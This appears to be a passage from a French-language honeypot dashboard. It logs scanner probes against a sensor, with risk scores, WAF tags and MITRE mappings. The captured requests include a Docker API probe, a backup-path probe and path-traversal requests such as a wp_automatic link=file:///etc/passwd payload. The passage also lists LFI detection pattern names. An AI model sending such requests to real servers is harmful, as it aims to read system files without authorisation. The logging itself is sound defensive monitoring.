"1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "4abc6325138f8caa79093b3216a9854a0eef63e2", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 224, "payload_entropy": 5.375500247381358, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.6, "risk_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 59, "tag_count": 7, "anomaly_count": 0, "campaign_key": "f10b97f42eacf6adc91f75ab86909a71ff706154", "event_fingerprint": "8e63bc8e198d13e655809a226a8433aafc74a139", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 59, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "3b58d7278260ffb56351cd38952fd495", "payload_hash": "20b8906159209232140dfb09421cf121", "path_pattern_hash": "a3f262a176dc57ec1d24b5120ed5acbc" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 59 }, "payload_preview": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Ge", "method": "GET", "path": "\/api\/backup", "user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/backup HTTP\/1.1", "request_sample": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Ge", "evidence": { "method": "GET", "path": "\/api\/backup", "user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/backup HTTP\/1.1", "request_sample": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Ge", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "20b63be6889c4458c69add76e451252333149a98", "protocol_details": { "http_method": "GET", "http_path": "\/api\/backup", "request_line": "GET \/api\/backup HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Ge", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/backup", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 59, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 59, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/api\/backup", "request_line": "GET \/api\/backup HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/backup", "evidence_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Ge", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 4 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api", "http_backup_file_scan", "http_probe_api", "net_web_probe" ], "behavior_alert_count": 1, "behavior_priority": 96 }
30/07/2026 21:48:53 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /api/backup HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0 Acc Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /api/backup HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0 Acc Requête brute (extrait) GET /api/backup HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 184, "payload_entropy": 5.3159357980534, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "54cd627eaa273e0d9c1c84d48dcab153", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "request_sample": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "evidence": { "request_sample": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "4e926a6e040c15bc37a40012d25f275bf98cb264", "protocol_details": { "payload_preview": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/api\/backup HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/14.0\r\nAcc", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:48:43 UTC	TCP	2375 · DOCKER	docker	Traversal LFI lfi path traversal · via DOCKER:2375 · (tentative d'exploit)	Élevée	Moyen · 53
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole Émulateur DOCKER WAF — Recommandation Investiguer Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Moyen · 53 Confiance : Confiance 100 % — Motif catalogue confirmé Protocole émulé 1 Signaux MITRE-T1083 pat-0716 Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 930130 LFI CRS 934110 file scheme CRS 930160 etc passwd SSRF file:// SSRF LFI file:// wrapper LFI Double-dot bypass User-Agent — Règles WAF — Payload (extrait) GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Requête brute (extrait) GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25 Accept: / Accept-Language: Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 286, "payload_entropy": 5.410940371748547, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 53, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 140, "precision_signals": [ "MITRE-T1083", "pat-0716" ], "kb_rule_ids": [ "MITRE-T1083", "pat-0716" ], "matched_patterns": [ "pat-0507", "pat-0591", "pat-0716", "pat-0312", "pat-0098", "pat-0103" ], "matched_pattern_names": [ "CRS 930130 LFI", "CRS 934110 file scheme", "CRS 930160 etc passwd", "SSRF file:\/\/ SSRF", "LFI file:\/\/ wrapper", "LFI Double-dot bypass" ], "pattern_ids": [ "pat-0507", "pat-0591", "pat-0716", "pat-0312", "pat-0098", "pat-0103" ], "confidence_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 53, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "docker", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "49c5ebcb53f1dab8cf074834a6866338", "path_pattern_hash": "944212cb86fb25ee98eec801af12ab3d" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 53 }, "payload_preview": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; ", "request_sample": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit\/525.25 (KHTML, like Gecko) Version\/3.2 Safari\/525.25\r\nAccept: \/\r\nAccept-Language:", "payload_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh;", "evidence": { "request_sample": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit\/525.25 (KHTML, like Gecko) Version\/3.2 Safari\/525.25\r\nAccept: \/\r\nAccept-Language:", "payload_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh;", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "11e8ebe0925d51f36cbb40a75bfa281fd0d0a425", "protocol_details": { "payload_preview": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh;", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh;", "attack_vector": "lfi path traversal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via DOCKER \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 53, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 53, "risk_label": "Moyen", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": [ "MITRE-T1083", "pat-0716" ], "tags_summary_labels_fr": [ "MITRE-T1083", "pat-0716" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh;", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "lfi path traversal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh;", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_investigate", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:48:43 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /etc/passwd	Élevée	Élevé · 81
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /etc/passwd UA Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15 Émulateur HTTP WAF 66 Recommandation Investiguer Tags 950265:lfi-1 950289:lfi-7 950325:rce-0 950326:rce-0 Cible HTTP GET /etc/passwd TLS SNI — Capteur paris-1
